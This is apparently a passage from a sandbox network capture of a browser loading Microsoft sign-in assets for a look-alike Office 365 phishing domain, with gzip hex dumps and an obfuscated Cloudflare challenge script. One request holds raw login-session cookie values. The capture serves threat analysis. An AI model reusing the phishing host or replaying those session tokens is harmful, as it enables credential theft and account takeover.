2024-02-23 10:49:24 UTC	662	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o365.mojopowertsinctech.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:25 UTC	802	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:25 GMT Content-Type: text/css Content-Length: 20314 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 27 Dec 2023 18:18:12 GMT ETag: 0x8DC07082FBB8D2B x-ms-request-id: 55370c1f-f01e-0025-49cb-65f3a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104925Z-dy79susabt6ff44wg44v98uzv000000000xg00000000020q x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:25 UTC	15582	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEYgy0(-oe\|_I?<{!xW_^pE'Y<]6( .D*Y:ve?!\|t]+a
2024-02-23 10:49:25 UTC	4732	IN	Data Raw: 75 b1 d9 44 a4 ea 22 20 d6 45 09 41 36 3d ae 63 fa 4f 4b 7f 86 e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 21 5d f4 aa e1 60 30 5e 26 13 b7 4f 5a e3 0c 32 50 fb 10 40 6b 9f fc 5a d9 82 86 f5 c9 a7 ad bc 4f 0f 53 c6 3e 8f 75 ef 81 fb bb e5 60 13 bf d0 d1 86 c0 d4 70 43 60 72 bc 81 ca 0c ee 7b ca cd 06 61 90 56 01 34 34 b4 0d 0f 13 81 b8 e1 dc 70 52 d0 d3 64 f3 b6 df 8a 2c 1c d2 a7 e1 c5 ec 1c b9 2b 18 00 b1 42 22 26 de 7d 9d 59 8d 1f 8e 83 89 00 6e 65 8f 64 aa a2 fc c3 d8 65 70 5f b6 f7 9c 65 7e ea 83 9d 2c f7 31 10 e4 08 df ce 47 c4 df Data Ascii: uD" EA6=cOKa}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV!]`0^&OZ2P@kZOS>u`pC`r{aV44pRd,+B"&}Ynedep_e~,1G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49754	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:25 UTC	639	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_bUKAij3pKdw2nFX-oqztYA2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o365.mojopowertsinctech.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:25 UTC	819	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:25 GMT Content-Type: application/x-javascript Content-Length: 119240 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 07 Feb 2024 20:11:54 GMT ETag: 0x8DC28190756E469 x-ms-request-id: 4024271b-c01e-007a-58fe-65198b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104925Z-vcdxxybyy52pz50xh707q0pm1g00000000ag000000002z9b x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:25 UTC	15565	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 6d 7b e3 38 8e 00 f8 fd 7e 85 a3 99 cb d8 1d c5 65 f9 dd 4a ab b3 2e 27 55 e5 ed 24 ce c4 49 77 ef a6 32 79 64 89 76 d4 91 25 af 24 e7 65 1c ef 6f 3f 00 24 25 ca 96 53 55 b3 7b 77 cf 3d d7 3b 5b b1 48 f0 0d 04 41 00 04 c1 0f 3f ed fd 1f a5 9f 4a 87 df ff 5f 69 7c dd bf ba 2e 8d 3e 95 ae bf 0c af 4e 4a 97 f0 f5 1f a5 8b d1 f5 70 70 fa fd f5 60 a3 f8 ff d7 0f 5e 5c 9a 7a 3e 2b c1 df 89 1d 33 b7 14 06 a5 30 2a 79 81 13 46 8b 30 b2 13 16 97 e6 f0 6f e4 d9 7e 69 1a 85 f3 52 f2 c0 4a 8b 28 fc 93 39 49 5c f2 bd 38 81 42 13 e6 87 cf a5 32 54 17 b9 a5 4b 3b 4a 5e 4b c3 cb 4a 15 ea 67 50 9b 37 f3 02 28 ed 84 8b 57 f8 fd 90 94 82 30 f1 1c 56 b2 03 97 6a f3 e1 23 88 59 69 19 b8 2c 2a 3d 3f 78 ce 43 e9 dc 73 a2 30 0e a7 49 29 62 0e Data Ascii: m{8~eJ.'U$Iw2ydv%$eo?$%SU{w=;[HA?J_i\|.>NJpp`^\z>+30yF0o~iRJ(9I\8B2TK;J^KJgP7(W0Vj#Yi,=?xCs0I)b
2024-02-23 10:49:25 UTC	16384	IN	Data Raw: 87 b5 59 a5 d0 1b 31 7f 98 82 64 33 ed 2f ff fd 97 73 86 32 13 ca 52 f7 67 63 f8 e6 d1 bc 98 6b ad 44 18 29 fe d2 2e e4 2c f8 63 9e fc 20 03 21 31 c2 93 d0 1f 30 3f 0d 1d 95 3d 3b 20 aa 94 ef 80 e6 c1 44 e2 46 d3 14 8d 82 33 23 ec c2 45 98 60 10 3b d2 b5 28 c4 13 fd bc fc fd c4 34 f0 16 fb 03 86 c9 c0 a7 69 79 bc 30 69 53 90 31 3f 30 60 46 16 f5 83 a4 c6 73 d8 73 fb be 67 c7 14 12 6b 3e 41 8f 7a fe d8 81 7c 84 b6 30 59 d4 72 ed 25 7e f6 2a 70 fa b0 27 3d cc 5a 58 ee b7 ba d9 da 91 f1 3b f3 61 59 30 5e 25 c5 52 11 97 8a 78 94 ab c4 63 31 0f 1b 71 1e db 14 93 84 42 7f d1 2f 43 c7 88 61 32 2a 06 85 5d 19 ba 0b 6b 05 f9 18 dd 04 1f 75 a6 28 14 74 ed e2 9a 33 78 e2 b1 43 17 e6 9f 7e dd cb b0 1f fc 9d 64 49 13 b8 ce ee c3 e0 2c b4 f1 c9 4b d6 d4 8b 80 65 f8 af Data Ascii: Y1d3/s2RgckD).,c !10?=; DF3#E`;(4iy0iS1?0`Fssgk>Az\|0Yr%~p'=ZX;aY0^%Rxc1qB/Ca2]ku(t3xC~dI,Ke
2024-02-23 10:49:25 UTC	16384	IN	Data Raw: 99 da 39 4b a6 2b f3 09 db aa c9 79 34 dc 51 ce 18 37 9f fb 1a 68 82 d2 7a dc 95 a5 98 aa ea 18 30 cd b7 a2 70 8d 38 b8 e8 85 2e 8f b3 02 e9 82 46 36 af a0 95 cd 1e 69 2d d4 9e bd 81 71 f6 76 76 fe 7f 88 7e 0d 56 9c bd 6d a7 9d 68 77 15 e5 81 26 c3 48 90 a8 90 8e da 53 c8 59 94 aa 9f 9f 01 f9 d2 f0 e4 42 67 d0 76 c8 98 5c db e1 7c 05 a5 ab 04 ca 18 4e 22 da 63 bd 05 28 88 9c f6 1a 46 63 0c 8f bb 7b 87 5d 1b e2 69 d4 f8 ce d7 d7 63 1b a5 68 2b 7a 5b b8 fa 8c 94 b2 e9 d9 64 60 20 fd 9a b2 76 fd c0 92 ba 31 a0 20 08 ff ef 65 6f 4f 4f c3 91 f6 33 90 3f 94 a5 21 25 b8 64 88 86 bf 02 54 b1 47 eb b2 ef 18 3d 5c 05 12 5b d7 eb 11 92 46 fc 72 66 25 40 73 75 c8 51 4b 4e 71 1c 99 71 47 cc 4e b3 b3 70 70 70 03 0f 8d e0 7e 1b 1b ff bd 2b 85 9e 78 6d 66 94 a3 d7 08 75 Data Ascii: 9K+y4Q7hz0p8.F6i-qvv~Vmhw&HSYBgv\\|N"c(Fc{]ich+z[d` v1 eoOO3?!%dTG=\[Frf%@suQKNqqGNppp~+xmfu
2024-02-23 10:49:25 UTC	16384	IN	Data Raw: 6e 4d 5a 90 32 dd 3a 08 22 e3 dd 82 23 1e e2 a5 07 b4 2a 84 a5 cc c8 4d 0c d4 ef 77 f0 1f db f1 33 e9 77 39 c2 13 36 5d 5f 87 f1 f6 50 c8 06 07 23 80 d7 0a 2b 47 98 3a 82 d4 80 94 8c db 68 60 ae c3 1f 84 3e 58 e4 67 34 12 9f 06 6b 70 7e 70 b7 a0 9f 33 8f b7 b1 10 57 d0 80 12 bc d6 08 aa 70 e5 5d b4 63 37 ae 66 82 e7 8e 83 88 a2 ae bd 69 fd ee 50 8d 69 5f bf 8b d0 67 13 53 47 a6 9b 61 9e 49 e6 dd 52 4c 4e 12 ba a0 28 63 e1 7e ae 65 a9 8b b3 45 7c 72 f9 53 20 3b 0b f7 75 45 b9 4e d9 80 ad a8 37 9f 37 45 54 a3 a6 2e 55 3c 61 78 77 66 e8 8f c0 2a 8a 97 07 cf 12 32 72 36 8a 08 c4 c2 92 30 2b 2b 6d 4a b1 1e dd 8f d2 13 34 9f d7 a7 0b 9d 73 c9 84 a8 1e 7a eb 9c 45 d9 0d b6 9f be b0 16 d2 5c 6e 89 fc d8 b4 8e 3c 31 ad 23 75 b5 fe 53 f4 8a df ae 63 08 12 e3 2a 26 Data Ascii: nMZ2:"#Mw3w96]_P#+G:h`>Xg4kp~p3Wp]c7fiPi_gSGaIRLN(c~eE\|rS ;uEN77ET.U<axwf2r60++mJ4szE\n<1#uSc*&
2024-02-23 10:49:25 UTC	16384	IN	Data Raw: ba 81 a9 56 b1 36 c6 41 67 90 a6 93 28 b4 d3 5e f5 ef ab d5 fa f1 1c a0 32 f7 73 af 80 63 08 0d b5 98 67 91 3a 46 45 98 18 78 01 16 c3 88 f1 18 e1 44 22 b2 ca c0 ac 23 78 d9 33 8e 5c 62 dd d2 85 62 b7 d4 b0 cf 8a 78 92 33 3a 13 9d cc 0c e3 c2 aa 2f ac f3 2f a0 46 97 47 13 bb 43 b5 71 76 59 00 d6 3a d4 da 8d 14 b4 97 79 bc f5 9f ad d8 21 25 5c c3 98 e1 99 b0 39 85 f1 72 5a d0 36 0a 71 32 a5 a5 96 07 2f ec 0f f8 05 3b 50 d4 6b 15 5c 50 f8 8a 0e 24 e6 9a d5 61 fc 87 9f 7a 4f 7c 9d fe 08 20 7a 35 15 b3 57 54 18 33 48 16 e5 ae 17 92 a5 e4 4c 5b 96 a0 ab e0 7e 33 a4 9e 4c 07 74 c4 14 a1 73 4b fb 6e ee 9d cb 82 a3 75 42 27 e1 a1 be a8 64 37 c5 ab 37 00 d3 bd 45 cc 4f 77 3a 00 fb f9 f4 e9 89 79 13 f7 b8 3a 3d 98 e3 ee 1f 30 4f 9f 37 ab 9b 1a 73 7f e4 6a 1b 6a 11 Data Ascii: V6Ag(^2scg:FExD"#x3\bbx3://FGCqvY:y!%\9rZ6q2/;Pk\P$azO\| z5WT3HL[~3LtsKnuB'd77EOw:y:=0O7sjj
2024-02-23 10:49:25 UTC	16384	IN	Data Raw: f5 c1 4b 3c 20 c9 5e 9a 59 d9 8c b8 70 5d 6e 05 e4 ad e6 42 ad 8d 81 7f 0e da 09 68 17 60 3f 9a 86 1b 27 a4 6f 06 dc 4a 25 66 c8 65 d0 d8 c0 aa d2 10 d2 a4 ed 79 90 2c f6 62 ff f7 ea e5 94 a6 1e 4b 1d cf c3 2a 0a 25 8b 2c 47 40 d9 8d e2 0c 03 2b 83 bd 74 09 54 4f 04 32 84 24 21 b9 ed a7 50 d6 04 b7 a1 da 40 a1 02 41 f7 2d 6f 2f 8b b6 f2 7c 81 c8 c2 5d 5f 82 47 01 11 42 d7 06 bf 85 e8 00 b4 73 e2 30 85 d0 b7 17 c9 c8 b3 12 3f 0c a4 cc 04 14 0c 96 42 0c e7 12 5d f3 24 c7 02 26 eb 84 bd 17 3b 58 e5 a9 93 30 0e 79 92 41 d8 c3 c0 65 01 4f 23 47 3a 0e ed 17 ba dc b6 bd 60 2f 52 84 67 27 90 55 21 97 40 6b 8e d1 9a 88 20 75 79 4c 42 ff 84 1a e5 79 9e bf 97 45 5b 79 16 25 91 9d 86 99 64 8e 74 31 49 90 be 02 32 2d a7 92 cc cc dc 0b ed bd b0 77 cf 81 da e9 a5 90 4b Data Ascii: K< ^Yp]nBh`?'oJ%fey,bK*%,G@+tTO2$!P@A-o/\|]_GBs0?B]$&;X0yAeO#G:`/Rg'U!@k uyLByE[y%dt1I2-wK
2024-02-23 10:49:25 UTC	16384	IN	Data Raw: a7 5d 8e 6a bf ad bb d3 99 01 5e 79 fc 23 e3 72 f1 ea ce a3 97 c9 2f c7 47 c9 2f 32 25 32 73 34 4f 56 57 81 bc 2c 5e b2 f3 1f c0 08 e4 e2 ce 9b 2f 54 79 cd da 94 c9 68 6b 65 34 94 2a 87 be df e9 0a b2 79 e5 22 a5 59 7f 7d 73 b3 d8 51 f9 0f b9 c8 b3 bc 5a cf 66 d5 1e eb 5b b4 aa 60 0e d7 32 7b bd ee f7 bb 0f de 3d 7a 4e 9e 83 f3 e5 af 19 f1 cb 9c c1 aa fb d6 a2 ac 0d 70 6e bc f8 f6 63 9a ff e3 2b 40 bf e3 0d d9 df 46 8e dc b3 16 74 63 93 e4 b6 fc 57 9b 2f bf cb e7 e7 17 cb de f2 e3 b9 9c f6 4f 95 63 48 5f 2d 2a ac b7 b2 b5 fc de e9 c8 94 14 b4 4e 0a e5 4b a2 c6 8f 10 f5 48 f4 7b f7 fe 7a cd 4a 5f 3c fd db a3 c7 2b 0f c7 eb b6 b1 51 ec ab 1a 7c 32 5f 2e 8a f3 8f 5f d3 58 5d e4 ab 1a 3a fe f1 ef 5f d3 88 ca 7e af 63 b6 1a 34 bb d4 31 02 15 e6 2b 63 d4 ed db Data Ascii: ]j^y#r/G/2%2s4OVW,^/Tyhke4y"Y}sQZf[`2{=zNpnc+@FtcW/OcH_-NKH{zJ_<+Q\|2_._X]:_~c41+c
2024-02-23 10:49:25 UTC	5371	IN	Data Raw: 21 e7 ee fd 7d d3 ce 59 c9 71 38 9b cd 3e cb 0a b0 d7 e9 1c ee 82 8b 27 89 4c b2 ce 0b 07 f3 bd aa 7c 3d 10 dd d4 66 26 e4 ec 3d 0a fc 5b 64 c1 6f 6f 9b 3c 98 0a af 3f 92 27 b5 31 3e 8f 0a 0b 7c f5 a6 6a cc 06 44 08 b4 64 a6 d7 19 3b 7f 94 ec a9 06 39 24 4f 18 f2 20 a5 a0 b5 c4 8c 0b 6f a2 41 eb 81 18 36 c6 7d ca 1f 4d fe a0 3f f9 3c 2a 3d 7c 18 8d e6 1a 37 f1 a1 b8 e4 70 86 9e b0 e9 b7 79 f8 57 ad 05 cf 78 6e d1 93 e5 1b f6 a2 72 f0 89 68 7d 82 52 18 dc 10 09 1a 7e de bd 39 2e 24 f2 ae 25 b4 d8 1a 24 5b a2 18 fa fc e0 e0 19 73 45 40 ab ff ed 2d 9d b8 f0 73 aa a0 87 3c f9 02 bc 27 35 8f a8 12 c0 27 ad 24 75 28 e8 27 2c 35 0f e4 97 ce f2 10 6b 11 08 a0 03 1f 85 6d 75 24 cb ab 4a e5 d4 88 9b 7e e0 5e 80 13 f5 37 a2 35 10 4c b2 24 31 95 13 bb 60 28 1f 58 48 Data Ascii: !}Yq8>'L\|=f&=[doo<?'1>\|jDd;9$O oA6}M?<*=\|7pyWxnrh}R~9.$%$[sE@-s<'5'$u(',5kmu$J~^75L$1`(XH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49753	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:25 UTC	658	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_xtex5cpjr0k40urejm0fgg2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o365.mojopowertsinctech.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:25 UTC	797	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:25 GMT Content-Type: application/x-javascript Content-Length: 15699 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 26 Jan 2024 21:44:14 GMT ETag: 0x8DC1EB7F0786F25 x-ms-request-id: 44702373-c01e-002e-64d1-65d6b0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104925Z-vcdxxybyy52pz50xh707q0pm1g00000000dg000000003f1m x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:25 UTC	15587	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 d3 ee b3 42 c1 41 77 55 65 65 65 65 65 65 66 65 65 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 bb 6a 14 8b 4e f0 b2 bc f7 e9 e5 8f c9 30 9c c0 f1 00 f9 97 d5 3d c2 d2 6f 78 2f 2b 00 1f fe 39 d8 73 42 f8 e7 Data Ascii: }Ms#GuhO=>4pO$PIF4"K1.57\|S6w8?9BAwUeeeeeefeefOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<jN0=ox/+9sB
2024-02-23 10:49:25 UTC	112	IN	Data Raw: ab 15 7a ca 95 86 77 87 77 f6 9e c2 da ba b9 89 00 f0 2a b8 ba d1 f3 1e 64 9b c8 b4 9f 73 ef dd 88 42 a5 b4 bd 5d d9 47 e5 7b 4b 4b 0b f7 e4 ee ec fe ce 2e ad 86 3c 9b d2 e2 c6 b6 95 1d e8 1a c3 4d c6 b9 5f ae ee 1c a7 d1 30 d5 69 f5 39 9d 7e 7b 31 ea 72 a3 ea a7 4f 3f ef 39 9c 57 b3 34 99 34 fe 50 7e fd ff 00 10 0a f1 29 3b d6 00 00 Data Ascii: zww*dsB]G{KK.<M_0i9~{1rO?9W44P~);

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49750	104.21.50.101	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:25 UTC	1648	OUT	GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/0f752fefe334/main.js HTTP/1.1 Host: o365.mojopowertsinctech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=2CB8A7944ACF6378145EB3BA4B176235; esctx-RDP06TKN7yE=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8-Xx06M6aKqvYiEC9giuAyv8vRF77uiGGtn6-vvKhdUouf_4yEcpIMcjJqDLReyNbS7-_n8t5v8aLhe3TmIFeNTSriDvb9ZranXcrPSlk8qKp8NeODuyByJbm1Uw3N_MT-ZiVXb2ruY7FIXzEVfcm9yAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AXMAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd83j5fQMMihdvC7DvrWwIoxFJXIGa4oEHK8LTNShni_jNk9pIKWad0lM0oAl9nay0VVyKWnmLDdTL9JNvXx_IfY7idZeX1zoJQYaDPoxGvCdwgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8zVpp-eKD12_gHEdoyRFwUS95x1mAhgvLFnyf5LqkIsq7eIzkWCyUKGpAiW0qsu-lxPy_br03sqhHAYCxMwdjsau_9vEnKBnc0-gzFzaxM9OII0ONPhbe9kUrN9iTmgVC1RH5dMtunhzcb29ompUHn70qwY12SZ4zad2QuwI9Wh4gAA; esctx-OuDMRE5IfJk=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8b6n3A-rwLfY3fkujECCbSU4ED7nhJbQJTiUTcELQCjXQbpaOenvNdaR8sX69JjCe4aGz_y5GbgUYSc8FpTlIBxM_by-AqLwESFKXk88LKHBFqkN49E4Fgpng_5Ef20OE95c2T_tkzAieJZkV3WHIjSAA; fpc=AvPKuGNLYD9LgJAF1cIaerG8Ae7AAQAAADRvat0OAAAA
2024-02-23 10:49:25 UTC	681	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:25 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close cache-control: max-age=14400, public vary: accept-encoding x-content-type-options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yPmVaIcW%2BcYuXYnA%2BZWSKxodRKkvpGn7Zoa9OhqZoo%2F381BWFL%2BrxZnhSmssDdUPgIYNRY7H7luu7GNo2Tu%2F684RS%2F4Osiwp5PnUDR06jMKdPZJX1%2FPgcGYMxLt%2BSKaVoWvg26sggwAN5xHnilg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 859ee6eedf3a41cd-EWR alt-svc: h3=":443"; ma=86400
2024-02-23 10:49:25 UTC	688	IN	Data Raw: 31 65 39 65 0d 0a 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 62 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 56 2c 67 2c 68 2c 6d 2c 6e 2c 6f 2c 79 2c 7a 29 7b 56 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 65 2c 55 2c 66 2c 43 29 7b 66 6f 72 28 55 3d 62 2c 66 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 43 3d 70 61 72 73 65 49 6e 74 28 55 28 33 35 35 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 55 28 34 34 35 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 55 28 34 31 31 29 29 2f 33 2b 70 61 72 73 65 49 6e 74 28 55 28 33 35 33 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 55 28 34 35 30 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 55 28 33 36 35 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 55 28 34 34 30 29 29 2f 37 2a Data Ascii: 1e9ewindow._cf_chl_opt={cFPWv:'b'};~function(V,g,h,m,n,o,y,z){V=b,function(c,e,U,f,C){for(U=b,f=c();!![];)try{if(C=parseInt(U(355))/1(parseInt(U(445))/2)+parseInt(U(411))/3+parseInt(U(353))/4(parseInt(U(450))/5)+-parseInt(U(365))/6+parseInt(U(440))/7*
2024-02-23 10:49:25 UTC	1369	IN	Data Raw: 4d 3d 32 2c 4e 3d 5b 5d 2c 4f 3d 30 2c 50 3d 30 2c 51 3d 30 3b 51 3c 44 5b 61 32 28 34 30 32 29 5d 3b 51 2b 3d 31 29 69 66 28 52 3d 44 5b 61 32 28 33 37 35 29 5d 28 51 29 2c 4f 62 6a 65 63 74 5b 61 32 28 34 34 39 29 5d 5b 61 32 28 34 31 38 29 5d 5b 61 32 28 34 30 30 29 5d 28 48 2c 52 29 7c 7c 28 48 5b 52 5d 3d 4c 2b 2b 2c 49 5b 52 5d 3d 21 30 29 2c 53 3d 4a 2b 52 2c 4f 62 6a 65 63 74 5b 61 32 28 34 34 39 29 5d 5b 61 32 28 34 31 38 29 5d 5b 61 32 28 34 30 30 29 5d 28 48 2c 53 29 29 4a 3d 53 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 61 32 28 34 34 39 29 5d 5b 61 32 28 34 31 38 29 5d 5b 61 32 28 34 30 30 29 5d 28 49 2c 4a 29 29 7b 69 66 28 32 35 36 3e 4a 5b 61 32 28 33 38 38 29 5d 28 30 29 29 7b 66 6f 72 28 47 3d 30 3b 47 3c 4d 3b 4f 3c 3c 3d 31 2c 45 Data Ascii: M=2,N=[],O=0,P=0,Q=0;Q<D[a2(402)];Q+=1)if(R=D[a2(375)](Q),Object[a2(449)][a2(418)][a2(400)](H,R)\|\|(H[R]=L++,I[R]=!0),S=J+R,Object[a2(449)][a2(418)][a2(400)](H,S))J=S;else{if(Object[a2(449)][a2(418)][a2(400)](I,J)){if(256>J[a2(388)](0)){for(G=0;G<M;O<<=1,E
